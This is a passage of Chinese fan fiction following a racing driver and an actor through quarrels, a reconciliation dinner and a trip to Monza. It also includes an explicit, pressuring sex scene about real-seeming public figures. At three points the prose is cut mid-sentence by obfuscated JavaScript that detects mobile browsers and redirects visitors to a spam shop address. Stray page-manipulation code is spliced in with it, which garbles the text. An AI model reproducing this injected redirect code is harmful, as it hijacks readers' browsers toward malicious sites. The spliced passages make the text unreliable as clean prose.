工作停止，感情也停止。一切都悬在半空，上不去、下不来。 他迟钝地站起身，指尖无意识地过桌上的剧本、笔记，一样样收拢。 回到伦敦的时候已经傍晚了。 公寓冷冰冰的，窗台上的盆栽半死不活，叶子都蔫了。林利把行李扔在门口，直接陷进沙发里，连灯都懒得开。 …… 米尔顿凯恩斯，红牛车队工厂。 麦克斯盯着投影屏幕上的数据模型，视线阵阵发虚。工程师在讲什么，他没听进去。 从银石后，重影就常常出现。他不得不频繁地眯起眼，才能看清屏幕上跳动的曲线。医生说这是正常的，会好的，但已经快一周了还是如此。 “麦克斯？”瓦切在叫他，“你觉得这个调校方向怎么样？” “哦。”麦克斯揉了揉眼睛，“按你们说的办。我没意见。” 会议结束后，麦克斯坐在车里，没发动引擎。 他想起医院里林利赶来的样子，慌张、担心、手足无措。还有自己说的那些话：“你压根就不在。” 现在想起来，有些太重了。但他当时是真的…… 麦克斯叹了口气，下意识翻找着有关林利的新闻。 【《空战群英》停工，复工时间待定。】 麦克斯愣了一下。停工意味着什么？林利回伦敦了吗？ 他盯着消息框出神，手指敲一下停一下。 【Emily：你在哪里?我们能谈谈吗？】 【L：过来吧。】 …… “嗨。”麦克斯看向门后的人。林利的表情淡淡的，当他不给反应的时候，很难知道他在想什么。 “进来吧。”林利侧身让开。 麦克斯走进房内。公寓还是老样子，他来过很多次，但这次有些说不上来的感觉。 他们坐在沙发对面，中间隔着整张桌子的距离。 “你去工厂了？”林利打破沉默，“车修好了吗？” “嗯，应该能赶上匈牙利。” “那就好。” 又是难熬的沉默。 麦克斯注意到林利的腿不安地轻轻晃动。 算了，还是他来吧。 “你看起来很累。”麦克斯试探道。 “还好。”林利应了一声，目光落在窗外，“你呢？” “不怎么样。”麦克斯耸耸肩，动作很刻意地揉了揉眼睛。 “你眼睛不舒服吗？”林利终于转过头，身体微微前倾。 “嗯，稍微有点，开车过来的时候断断续续的有重影。” “什么？重影？” “医生说没有太大问题，但开车过来的时候，路灯晃得我恶心。”麦克斯放轻了声音，等待林利走过来，捧着他的脸仔细看看他的眼睛，或者至少问问他现在还疼不疼。 但林利只是皱起眉：“你不应该来的，眼睛不舒服还开一个小时车，万一出事怎么办？” “你应该好好休息。”林利继续开口，“刚出院没几天……” 麦克斯心里一凉，这个反应不在他的预料之内。 “我没事。”他努力让声音听起来不那么僵硬，“我想来和你谈谈。” “但你的身体……”。 “我说了我没事。”麦克斯打断他。 你不应该来？好的，fine。 麦克斯凝视着林利，心中的期待悄悄碎掉。 “你最近怎么样？”他不爽的换了个话题。 “就那样。” 就哪样？ “剧组停工了吗？”麦克斯保持对话继续下去。 “嗯。”他看着林利低下头，黑发盖住那双清亮的灰蓝色眼睛。 他开始真的有点生气了。 “我收到《奥本海默》的消息了，就是上次保密试镜那个。”林利突然开口，唇角勉强向上弯了弯，“没选上。” 该死。麦克斯没想到是这样，刚才那点别扭被压了下去。 “我很抱歉。”他说，下意识想靠近，“你还好吗？那些混蛋不知道他们错过了什么。” 林利抬起头，表情复杂地看了他一眼：“还好，本来也没抱太大希望。但……算了。” “所以你不想继续谈这个？”他耐心一点点耗尽，“你被拒了，你不想……我不知道，和我聊聊你的心情？你的打算？” “没什么好说的，我会试试再找别的机会。”林利又垂下眼。 “好的。”麦克斯深吸一口气，心里那股火又烧了起来，“那你想说什么？因为我们坐在这里已经……我都不知道我们在干什么。” “我只是，”林利停了一下，整个人蔫蔫的，“我今天很累。” “那你为什么答应让我过来！”麦克斯焦躁又委屈，“我也很累！我开了一小时车，身上哪里都不舒服。因为我想见你，我以为我们会好好谈谈！自从上次，自从上次……” “你看起来根本就不想见我。”麦克斯继续说，“我告诉你我不舒服，你说我不应该来。我问你情况，你说……你什么都不说！” 林利低声辩解：“我没说我不想见你。” “那你为什么坐那么远？”麦克斯紧紧盯住林利，“为什么连碰都不碰我？” “我不知道还要怎么说！”林利情绪也上来了，“所有事情都发生在今天，我早上才被拒。这可是诺兰，谁不想和诺兰合作？” “紧接着剧组又停工，该死的！就是因为它一拖再拖，《奥本海默》才直接否了我。这一切都烂透了，你明白吗？” “噢！所以到头来还是只想着你自己。”麦克斯讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223771|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺道。 话一出口他就后悔了。 林利不可置信地看向他：“你刚刚说什么？” “我……”麦克斯想收回那句话，“我不是这个意思。” “不，你就是。”林利脸色冷了下来，“你就是这么想的，“只想着自己”，好像所有事到头来都怪我一样。” “那我还想问问你是什么意思！”林利霍然站起身，“你大老远跑过来，就是为了和我吵架？我不关心你？上次在医院你可不是这个态度。你到底想要什么？” “我想要我们和之前一样！”麦克斯也站起来吼道，“会抱着我，会跟我说说心里话。但你坐在那里，像我们是陌生人！” “我……”林利张了张嘴，又闭上了。 他沉默片刻，语气突然变了：“对不起，你说得对。” 麦克斯愣了一下，心里有种不对劲的感觉：“什么？” “我累了。”林利没什么表情，转身向卧室走去，“你回你该去的地方吧。” 麦克斯看着林利的背影，心跳加速。 “别这样。”他跟上去，“别用这种语气跟我说话。” 林利脸上浓浓的倦意：“我不知道该怎么办，我说什么都是错的，你说什么我也听不进去。” “所以……我们就这样？”麦克斯喃喃反问。 “F**k this!”他猛地紧紧贴向林利，两人之间只剩下狭窄的距离，灼热的呼吸毫无遮拦地纠缠在一起。 “告诉我，这不是你想要的。”他再次逼近，鼻尖抵着对方的额头。 他抬起手托住林利的下巴，强迫那道目光直视自己：“只要你说一句不想要我，我立刻就走。” 他看到林利微微后撤，却又控制不住地被牵动，眼神里满是挣扎。 “你做不到，不是吗？”麦克斯低语。 随即，像惩罚一般吻了下去。 林利没有推开，反而在颤抖中死死攥住麦克斯的衣领。 吻移向脖颈。 “Maxie……”断断续续的声音响起。 麦克斯模糊地呢喃：“如果你想让我停下来，现在还来得及。” 说着，他向下咬了一口。 林利倒吸一口气，手指没入麦克斯的短发。 衬衫的扣子崩开，落在地板上发出细碎的声音。 林利的背撞上墙壁。 “慢一点……”他近乎哀求。 “不。” 窗外的路灯透进来，在地板上投下两个纠缠的影子。 林利的指甲抓进他的皮肤。 “说出来。”麦克斯的声音带着急切的蛊惑，“说你想要这样。” “说你离不开我。” 林利咬着嘴唇，满是矛盾的神情。 “我……” “快说。” 林利自暴自弃地闭上眼：“我想要这一切……该死的，我想要你。” …… 地板上凌乱地散落着衣服。 两人靠着墙坐在地上喘着气，空气中残余着过热后的余温。 “这不能解决我们的问题。”林利靠向麦克斯的肩膀。 “我知道。”麦克斯回答。他搂了过去，眼睛盯着天花板。 林利想起了一个词：坏疽。 当组织开始腐烂，但还连着身体。 切掉会疼，留着会更疼。 30.恋爱拯救计划 八月的拍摄安排钉在化妆车的软木板上。 林利站在它面前，举起手从第一行数到最后，数得他胳膊都酸了。他不死心地又翻回去确认，视线停留在“机动两天”一栏。 “嘿，Cal？”他叫住一旁的卡勒姆，“你看过这个月的安排了吗？” 卡勒姆正仰在化妆椅上，把自己斜到一个让化妆师难以下手的角度。他盯着车棚：“看过了，我觉得这次导演是来真的。” “满满当当，还分了三个组。”林利用力戳了戳数字，“绝不让我们任何一个人逃过。” “那‘机动两天’呢，这是什么意思？”他心存幻想。 “机动的意思是，”鲍伊从门口探进头，“你以为你有两天休假，然后导演通知‘我昨晚做了个梦，我们要改一场戏’。” 卡勒姆从椅背上直起身，做了个严肃的怪表情：“上周他就是这么跟我说的，害得我哪里都没去成。” 没有比这更噩梦的安排了，林利绝望地感慨：“真行，太行了” “可不嘛。”卡勒姆接过化妆师递过来的喷雾，“照这个进度下去，哪天咱俩同时死在片场，剧组连特效费都省了。” 林利没理他的垃圾话，口袋里的手机震了一下。 屏幕亮起，是麦克斯发来的一张照片。 公寓客厅，熟悉的沙发、熟悉的书架。照片正中央横着一双长腿，大剌剌地搁在茶几上 林利盯着照片看了半天，确认这不是麦克斯从哪翻出来的旧照。 【L：？】 【L：你怎么在那？】 【Emily：惊喜。】 可真够惊喜的。 【Emily：你几点回来？】 【Emily：冰箱里只有半块奶酪、气泡水和一个皱苹果。我饿了，你今晚想吃什么？】 【L：随便点吧，我都行。】 【Emily：哈！请期待。[歪嘴]】 林利不安地把手机揣回口袋。他突然这是怎么了？ 旁边卡勒姆一直斜着眼睛瞄他。 “没事，工作。”林利欲盖弥彰地推了推化妆镜，“我们去工作吧。” …… 晚上六点，林利坐在回程的车里。 车窗外，牛津郡的田野在暮色里化做一条墨绿色的长带。他重新打开消息框，思量麦克斯中午发来的那张照片：白色满天星和一束橙黄色的什么花并排放着。 【Emily：选一个。】 他当时在候场，随手回了个【左边】就把手机塞给助理。这时候再翻出来看，总感觉心里发毛，不知道又有什么“惊吓”等着自己。 推开门，一股暖烘烘的香草味漫了过来。 林利站在门厅向里望去。 餐桌上点了两根细蜡烛，火苗在空调的风里轻轻摇晃。桌上摆得挺像样——青柠叶点缀的绿咖喱装在白瓷盘里、炒河粉、飘着热气的冬阴功汤…… 餐巾叠成三角形垫在筷子下面，桌上正中间还摆着一束白色满天星插在花瓶。 林利放下包，刚走近几步，余光就扫到垃圾桶旁塞着一个纸袋，Patara的logo朝上，露出来一个斜角。 麦克斯坐在桌对面。手肘撑着桌面，下巴搁在手背上，眼睛亮晶晶地看向他。 “惊喜！”麦克斯得意地顿了顿，“你现在看到的这桌饭——” “Patara？”林利被逗得笑了一声。 麦克斯的得意僵了一下，有些窘迫地抿抿嘴，面上掠过一丝不自然：“我今天准备了很久……嗯，泰国菜。” “袋子露出来了。”林利没忍住，朝垃圾桶指了指。 一丝尴尬的沉默。 “假设这些是外卖，”麦克斯揉揉鼻子，强行把话圆回来，“但它现在装在盘子里，有蜡烛、有花。这总不是外卖送的吧？” “好吧。”林利拿起筷子摇摇头，“辛苦了，麦克斯大厨。” 麦克斯这才重新舒展开，心安理得地接受了这份夸奖。 烛光轻轻晃动，将周围晕成一片柔和的朦胧。林利悄悄卸下一天的紧绷，肩膀也慢慢松下。 “冬阴功不够辣。”林利喝了一口，评价道，“Patara换厨师了？” “我觉得还好，比摩纳哥那家强。” “那家不是泰国菜，是越南菜。”林利纠正道，“上次我们就讨论过这个问题。” “反正我分不出来。” “这话你最好别在阿尔本面前说。”林利夹了一口粉，“他会伤心的。” 麦克斯耸耸肩，低头搅着碗里的河粉，动作有些迟疑：“说起来，前天我还被赫尔穆特批评了一顿。” 林利抬起头，这倒是稀奇，马尔科竟然会骂麦克斯？ “Team Redline有个车手临时请假，叫我顶上去。”麦克斯目光飘向一边，“纽博格林24小时赛，刚好是夜间组，我跑完都凌晨两点了。” “第二天工厂有个会议。”他撇了撇嘴，“我迟到了一会。” “迟到一会？” “好吧，是半个多小时。”麦克斯承认了，随即声音又高了几分，“我有充分的理由，你想想，四点才睡，九点就要开会。” “赫尔穆特和我在iRacing的时间分配上有了点分歧。”麦克斯轻轻摇头，“但我很清楚我能做什么，不能做什么，这次迟到是个意外。” 林利看着他那副理直气壮又带着点委屈的样子，反倒觉得很有意思。他轻轻笑了一声。 …… 第二天，麦克斯早早开车把林利送到片场门口。 回程路上，他一直在思考。 他们之间出了问题，这一点他很清楚。但他不太擅长用语言的方式处理这种事，昨天脑子一热，直接飞到伦敦来了。 他回想了一下昨天，昨晚最后林利抱着他睡着了。 感觉不错，说明还有努力的空间。 回到伦敦的公寓，麦克斯站在客厅中央环顾了一圈。 今天他还能做什么？ 09:10 他跨上林利那台动感单车，调高阻力，顺手点开了音响。 一个带着气声、半梦半醒的嗓音传来。 他听了半天，困惑地看了一眼进度条和面板——“Lana Del Ray - Terrence Loves You”。 林利运动的时候就听这个？麦克斯一边加速一边腹诽，怪不得那家伙总是心事重重的。 10:03 冲完澡，麦克斯停在DVD架前。 一排整齐的碟片里，最中间那几张的壳子明显被摸得更旧，封面也有些褪色。他抽出一张《莫里斯》，塞进播放器。 一开始他看得并不投入，人物说话太慢、表情太含蓄。 他们为什么不能直接说出口？ 当看到克莱夫和莫里斯做出不同选择： 有人选择体面、安全、符合社会期待。 有人选择冒险、勇敢、承认欲望存在。 他的眉头慢慢皱紧：如果爱，为什么不勇往直前？ 电影结尾，他盯着那个推开窗户往外看的克莱夫，嗤笑一声按掉电源。如果是他，他不会只躲在窗后，输掉一切也比什么都不做强。 他得更主动。 12:20 他看了看林利凌乱的公寓，决定动手收拾收拾。 他不太熟练地擦了一圈地，将长桌上散乱的手稿一张张叠齐，又将东倒西歪的摆件按个头依次摆正。 他甚至能想象林利推门进来时，被惊喜震住的表情。 15:45 他决定去趟超市。 复杂的做不了，简单的总可以吧？他要让林利刮目相看。 超市门口，一个路人认出了他，有些拘谨地问能不能合影。他点点头，大方地配合对方拍了一张。对于偶遇的请求他总是乐于满足的。 他在眼花缭乱的货架前转了半天，决定还是试试简单的意面。 17:00 他发动车朝着牛津郡开去。 他在片场外的路边停好车，看着路灯在暮色里一盏盏亮起。 围栏门打开了。 …… 林利走出片场，麦克斯的车正熄了火停在路边。 路上堵得厉害，车里正放着首节奏轻快的荷兰语歌。麦克斯降下点车窗，手指搭在方向盘上有一搭没一搭地敲着，跟着旋律小声哼哼。 林利有些好奇：“你今天都做什么了？” “健身，逛了趟超市，看了部电影。” “哪部？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232807|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“休·格兰特的那个，叫什么《莫里斯》。” 哇哦，麦克斯和《莫里斯》？ 林利挑眉：“你看那个？我还以为你只对蝙蝠侠或者满地炸弹的动作片感兴趣。” “我可没说我喜欢看。”麦克斯空出一只手，在林利大腿上不轻不重地拍了一下，“这个电影是不是就想说爱要勇敢？拍得那么长，两句话就能说明白的事。” “嗯……”林利含糊地应了一声，很快又闭上嘴，他们两个理解的好像有些偏差。 他转过头，看着窗外飞速后撤的树影：“爱要勇敢？说的也没错。但还有一点，爱不能失去自我，爱是对自己诚实，不能勉强。你觉得呢？” 麦克斯原本正准备转弯，闻言侧头看过来，眼神里掠过一丝错愕。 …… 回到家，麦克斯一进门就直奔厨房，一边烧水一边查手机，嘴里还念念有词的记着时间。 林利斜靠在门框边，瞧他生疏又紧张的样子，没憋住笑：“大厨先生，你今天要准备做什么？” “等着，马上就好。”麦克斯头也没回，不服气地顶了一句，手上动作因为那点胜负欲反而更快了。 为了配合这出郑重其事的阵仗，林利顺手开了瓶红酒。不管这顿意面味道如何，起码有酒精兜底。 半个小时后，意面上桌了。林利拿起叉子卷了一口送进嘴里。 麦克斯一动不动地站在旁边， “说实话。”林利又卷了一口，慢条斯理地咽下去，“真的还不错，出乎我的意料。” 麦克斯紧绷着的肩膀立刻松了下来。他重新扬起下巴，眉毛挑出一个得意的弧度：“我就知道。” 意面被吃得见底，酒瓶也空了大半。 餐厅的吊灯太刺眼，麦克斯索性关了它，只留一盏角落的落地灯。两人拎着半瓶酒挪到了沙发前的羊毛地毯上，双腿随意地交叠而坐。 “今天收拾房子了？”林利瞥了一眼架子上的木头摆件，按个头站得整整齐齐。 “不用谢。”麦克斯抿了口酒，“看它们乱七八糟地叠在一起，我不舒服。” 他们随意地聊着天。酒气上头，空气里漫起一股发懒的黏糊劲。 仿佛回到了几年前，麦克斯第一次造访这里的那个晚上。 林利低头拨弄着地毯的长绒：“你还记得奥斯汀那个酒吧吗？” 他转过头看向身侧，眼前人冰蓝色的眼睛被昏暗的灯光柔化了锐利，显得安静又温和。 “记得。”麦克斯伸手蹭了蹭林利干净的指缝，“那次你给我讲了半小时赛车，好几个地方都说错了。我没拆穿，够意思吧？” 林利举起酒杯的手僵在半空，难以置信地侧过身：“你当时就知道？那干嘛不早说，害得我第二天尴尬得要命。” “我想看你能撑多久啊。”麦克斯回得坦然，“而且你紧张的时候语速会变快，其实挺好玩的。” “我看你演技挺好的，怎么在DTS里表情那么僵硬？”林利轻哼一声，忍不住反唇相讥。 “都说了那是网飞的邪恶剪辑！”麦克斯不忿地撇撇嘴，“他们非得把我拍成围场大反派。你明明知道我可是很有幽默感的。” “你是说把Jimmy和Sassy改名为刘易斯和托托这种幽默？”林利轻笑着撞了下对方的肩膀。 麦克斯反手一勾，在林利腰侧飞快地挠了一下。 林利怕痒得不行，一边笑骂一边歪倒在他怀里。麦克斯就势张开手把人搂住，将下巴搭在林利的颈窝，令人心安的体温浓浓包裹上来。 “摩纳哥那时候多好。”麦克斯突然感慨。 “是啊。”林利闭上眼，感受着后背传来的心跳，“每天最大的烦恼就是还能玩什么。” “还有你那个模拟器首秀。”麦克斯想起这个就忍俊不禁，“我真没见过有人能开车开成这样。” 那些琐碎的、甚至有些傻气的记忆，在此时一件件被翻了出来。 有一些话还哽在喉咙里。关于前阵子的争执，关于谁也不肯先低头的执拗。但今晚的气氛太好了，好到让麦克斯心底那点侥幸开始冒头。 他盯着林利的侧脸想，也许没必要非得把每件事都弄得那么明白，就这样稀里糊涂地混过去，他们是不是也能好起来？ 他可以相信今晚吗？ 31.兼程赴约 九月第一周，牛津郡。 林利刚准备从试衣间出来，正拽着领口透气，搁在桌上的手机亮了一下。 他原本没打算点开，毕竟这个点的邮件通常都是第二天来处理。 余光扫过主题栏。等等——他摁向电源键的手顿住。 【面谈邀请：即将启动的新项目】 【发件人：马丁·麦克唐纳】 《三块广告牌》的导演？！ 林利呼吸卡了一下，不敢相信地把邮件从头到尾读了一遍。读到“我想起你的过人之处”时，更是心脏狂跳地将手机翻过去扣在桌上，闭上眼睛深吸几口气。 他重新读了一遍，确认没有误解任何一句话。 麦克唐纳看过他演的《神弃之地》《1917》，正在筹备的新项目《伊尼舍林的报丧女妖》里有个角色想到了他，希望可以在都柏林见面聊聊。 “你还好吗？”助理艾米拎着他的包走过来，“脸有点红。” 林利抬起头，才发现自己的脑袋像被蒸汽熏过一样红通通。他胡乱扇了扇风，把手机揣进口袋：“太热了，不是吗？我们走吧。” 回到酒店，林利连晚饭都没心思吃，把麦克唐纳之前的作品全翻了出来，从《杀手没有假期》开始重看，一直到凌晨。他还打印下来邮箱附件里的故事稿，用荧光笔标出导演看好他的角色——多米尼克的台词，便利贴贴了一整桌。 手机在杂乱的纸堆里震了起来，是麦克斯。 林利扫了眼时间，摩纳哥这会儿都三点多了。 【Emily：你睡了吗？[邪恶]】 【L：还没，怎么了？】 通话请求随即弹了出来。 “我想问你，”麦克斯一上来就跃跃欲试地说，“九月十二号，蒙扎，你能来吗？” 半夜这么突然？林利费解地揉揉太阳穴，还是翻开了日程表。 那天标注的正是《空战群英》计划上的“机动”时间，而且麦克唐纳也提到近期会安排见面。 他张了张嘴，想说“估计去不了”，可话到嘴边又咽回去了。麦克斯这时候兴致冲冲，心情一定不错。 “我……”林利放下笔，“我会尽量。” “尽量？”电话那头麦克斯有些迟疑地重复了一遍，“那是能来还是不能来？” “就是我现在没法确定。”林利摩挲着便利贴的边角，“拍摄进度在调，而且我这边有个……有些事情，但我会尽量安排出来。” “为什么突然半夜这么说？”他接着问。 “哦！我忘了时间。”麦克斯恍然大悟，在电话那头笑了两声，“刚才一直在跑模拟赛，就是感觉最近一切都挺好，你懂吧？比利时和赞德福特都很顺，蒙扎应该也会不错。” 他顿了顿，理直气壮地怂恿：“再说了，我都快一个月没见着你了。所以，来现场看看我，好吗？” “我会尽可能去的。” 挂掉电话，林利视线掠过密密麻麻的笔记和日程，叹了口气。 他也想去啊。 …… 第二天一早，林利就堵到了导演面前。 “我看了一下接下来的拍摄计划。”他开门见山，“后面两周主要是Cal的戏，对吗？” 导演翻了翻手上的表，点点头：“对，你那几天戏份不算多。” “能不能把我那几场提前拍？”林利试探着问，“比如这周多拍一点，把进度往前赶一赶。” 导演在计划表上划拉了几下，狐疑地打量他：“你有急事？这几场可以提前，但这场不行，需要外景，得看老天爷的脸色。” “这两场已经很好了。”林利双手合十，“谢了，导演。” 这一周，林利每天第一个到片场，最后一个走。场务来点人时他已经在化妆车里坐着了，等收工的大灯全熄透了，他才最后一个摸黑上回酒店的车。 有天下午，卡勒姆终于受不了了。他疲惫地揉着眉心：“林，老实交代，你是接了什么大活？这么个拍法，显得我们几个很像在片场混时间的。” 林利扯开嘴角笑了笑，安抚地解释：“早点拍完早点解脱，我都快忘了正常生活长什么样了。” 9月6日，林利坐上飞往都柏林的早班机。 麦克唐纳在一家临街的咖啡馆等着。他穿了件低调的麻衬衫，面前放了一杯黑咖啡。看到林利进来，站起身打了个招呼。 “叫我马丁就行。”麦克唐纳抬手示意，“坐吧。” 这一聊就是三个多小时。 从多米尼克这个角色的孤独感，聊到岛上阴冷潮湿的风。林利讲得有点刹不住车，甚至从多米尼克的死谈到了整个岛屿的冷漠。 麦克唐纳一直静静听着，时不时颔首。 “你准备得很充分。”麦克唐纳最后笑了起来。 “我前几天又将您的作品研究了一遍。”林利摸摸鼻尖，有点不好意思，“可能准备得有点过头了。” “没什么不好。”麦克唐纳手里的咖啡杯转了一圈，“目前为止都不错，你现在拍的什么时候结束？” “九月底。” “那就这样了。”麦克唐纳站起身，干脆利落地伸出手，“过几天我们会联系你的经纪人。基本上就是你了，准备好去岛上吹冷风吧。” 太棒了！林利走出咖啡馆，在街角站了一会。到底没忍住，攥紧拳头用力挥了一下。 …… 9月11日，都柏林。 工作室二楼支着几排衣架，分门别类地挂着螺纹针织衫、灯芯绒外套、粗线毛衣、毛边旧裤子……这些衣服透着股海岛上的土腥气，色调沉得发灰。 “试试这身。”造型师把一件沉甸甸的外套递给他。 林利换好衣服，顺手扣上一顶橄榄绿的鸭舌帽。 “可以了。”造型师端详，“你感觉怎么样？” 林利站在试衣镜前，肩膀向内收拢，微微含胸，脖子也向前探。他的双脚不自觉并拢，虚虚地站着，手臂紧紧蜷缩在胸前。他没敢直视镜子里的自己，只是飞快地抬了下眼，又受惊似的缩了回去，用余光打量周围的人影。 伊尼舍林岛上的多米尼克总是这样小心翼翼。 摄影师绕着他换了几个角度，按快门的间隙示意他走动两步。 林利接连换了几套大同小异的旧工装。每换一身，他就对着镜子微调一□□态或者眼神的落点，凝视着镜子里那个逐渐成形的多米尼克。 试装结束，助理带他进了楼上的会议室。 房间不算大，长桌旁已经坐了几个人。林利沿着桌边往里走，在麦克唐纳右手侧第二个位置看到了自己的名字：Linley Foster / Dominic Kearney。 “科林，”麦克唐纳和林利握了手，转向一旁胡子拉碴的男人，“这是林利，多米尼克。” “很高兴见到你。”科林·法瑞尔探身过来，友好一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236695|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我看过你的《1917》，演得不错。” “谢谢。”林利上前一步，赶紧握住对方伸过的手。 制片人和剩下的演员陆续进场。助理给每个人面前放了一份厚厚的文件夹。 “好了。”麦克唐纳扬起声音，示意大家安静，“今天主要角色都到场了，我们只有一个简单目的，把本子从头到尾过一遍，找找角色的感觉。” 科林和布莱丹交替着开始。林利在心里默默调整将要开口的语气，更年轻，更胆怯，带着一种想要讨好所有人的紧张： “我不感兴趣，派瑞克……” 尾音飘得有些滑稽，重音也落得古怪，但这正是多米尼克的样子。 讨论断断续续，话题从人物关系扯到海岛上的生活细节。科林随口讲起他小时候在爱尔兰乡下的事，林利听得很入神，但余光还是忍不住扫向墙上的钟。 12:45。 午餐是推车送进来的三明治，没人离座，大家边吃边接着聊台词。 下午，他们开始讨论具体的场景。桌上摊开几十张选景地的照片，照片里全是冷硬的石墙、垂直入海的断崖，云层压得很低。 “我们会在那里拍两个月。”制片人指了指照片，“环境不会太好，风很大，天气也不稳定。” 科林摸着下巴上的胡茬：“但刚刚好适合我们的故事。” “而且足够孤寂。”麦克唐纳盯着一张废弃小屋的照片，看起来非常满意。 林利盯着照片仔细揣摩了角色的细节，期间他看了一眼时钟：16:50。 飞往米兰的航班五点半关舱门，肯定是赶不上了。 他叹了口气，暗暗想：算了，明天再去蒙扎也来得及。 19:10，麦克唐纳终于从剧本里抬起头。他满脸歉意地拍拍手：“抱歉，大家，聊得太投入了，我都没注意到这么晚了。今天就先到这吧，辛苦各位了。” 林利急匆匆地跟着冲出会议室。下楼梯时飞快地刷着手机，谢天谢地，晚上九点还有一趟航班。 打车、过安检、一路狂奔向停机坪。 直到真正落座，系好安全带，他才后知后觉地感到腿软，额前的碎发全被汗湿透了，黏糊糊地贴在皮肤上。 总算赶上了，林利长出了一口气，从兜里掏出手机，才准备告诉麦克斯这个消息。 【L：你在哪？】 【Emily：酒店，刚回。怎么了？】 【L：我在机场。】 手机立刻疯狂震起。 电话刚接通，麦克斯的声音轻飘飘的：“你说什么？你在哪？” “我在都柏林机场，大概三个小时就能到米兰。”林利听见对面一声明显的抽气声，忍不住笑了。 麦克斯沉默了几秒，语气竟然带了点恍惚：“我现在有点像做梦……你能来蒙扎了？” “真的，”林利一字一句强调，“我马上飞过去，等我吧。” 电话那头紧接着传来椅子被猛地推开的声音，麦克斯像是直接站了起来：“我现在去机场。等等，不对，你几点到？” “米兰时间大概一点多了。”林利听着那头着急出门的动静，赶紧拦他，“你别折腾，不用这么早出门。” “没关系。”麦克斯拒绝得很干脆，声音听起来异常兴奋，“我可以等，我……我真的没想到你能来。” 他停下来，在那头自顾自地笑出声：“我非常非常，非常高兴。” 32.绝不和解的夜晚 林利拖着行李箱走过安静的走廊，滚轮在空旷的地面上发出单调的摩擦声。自动门滑开，外面只有零星几辆车。 一辆灰车的副驾窗降了下来。麦克斯戴着鸭舌帽，帽檐压得低低的，露出一双眼睛。 “上车。”他招了招手。 林利刚坐进车里，门还没关严，麦克斯就整个扑了过来。他一把拽过林利的领口，掀掉帽子，直接吻了上来。 “你来了。”麦克斯在亲吻的间隙里嘟囔，额头抵着林利，热气阵阵扑来，“你居然真的来了。” 林利笑着把脸埋在他肩膀上，闻到那股熟悉的味道：“我说了会尽量。” “我知道，但我以为……”麦克斯松开他，两只手捧着他的脸，借着路灯的光认认真真地看了又看，“我只是没想到。” 他伸手轻轻抚摸林利的脸颊，拇指擦过他眼下的阴影，然后低头更用力地抱住他。 开车回酒店的路上，麦克斯一直在笑，一只手握着方向盘，另一只手握着林利不肯松开。 “今天冲刺赛，”他亮亮的眼睛看了过来，“我拿到明天的杆位了。你明天也会来看吧？” “我就是为了这个来的。” “我知道，我就是再确认一下。”麦克斯短促地笑了一声，眼睛一直弯着，“我怕你太累睡过了。” “我不累。”林利捏了捏他的手掌。 这不完全是真话，他最近就没歇过，又一路奔波而来，身上疲惫的到处都不舒服。不过看到麦克斯高兴成这样，他把抱怨全咽了回去。 进了酒店房间，行李箱被麦克斯随便踢到墙角。他转身把林利抵在门板上，又亲了过来。 一下，两下，停不下来。 林利笑着推开他一点：“让我喘口气。” “不行。”麦克斯含糊地说着，又在他唇角不轻不重地咬了一下，“我等了好久好久。” “我来了不是吗？”林利挡住他的嘴，“但我现在真的需要洗个脸，飞机上太闷了。” 林利走进浴室，打开灯。镜子里的人眼圈发黑，嘴唇有点干，头发被帽子压得扁扁的。他叹了口气，把头埋进洗手池，往脸上泼了几把冷水，冰凉的触感让他打了个激灵。 麦克斯没跟进来，就靠在门框上滔滔不绝，语气轻快得像在哼歌。 “你知道吗，夏尔的女朋友几乎场场都到，拉塞尔的也是，连我爸妈都经常飞过来……” 林利擦脸的动作停了一瞬，湿漉漉的毛巾盖在脸上，视线里一片漆黑。 “如果以后你也能经常来就好了。”麦克斯继续兴奋，完全没察觉到氛围的变化，“你那些拍摄也太多了点。我是说，一部戏拍三四个月，你一年接两三部，算下来你几乎全年都耗在片场。” 林利突然听到自己的心跳闷声作响，他一点点转过身，盯着麦克斯。 “什么意思？” 麦克斯愣了一下，脸上的笑还没收回去：“什么？” “你刚才说什么？”林利极力想要确认，“我拍摄太多了？” “我不是，”麦克斯直起身子，眉头微微皱起，“我只是说，如果你能多陪我跑几场……” “所以你的意思是，”林利打断他，一股凉意从脊背往上爬，“我应该像那些女朋友一样，跟着你到处飞？” “我没说要这样。” “那你在说什么？让所有人都围着你转？” “我是说你能不能偶尔，”麦克斯的声音也开始带上火气，“该死的，林，你为什么非要把我说的每句话都往最坏的地方想？我就是随口一说。” 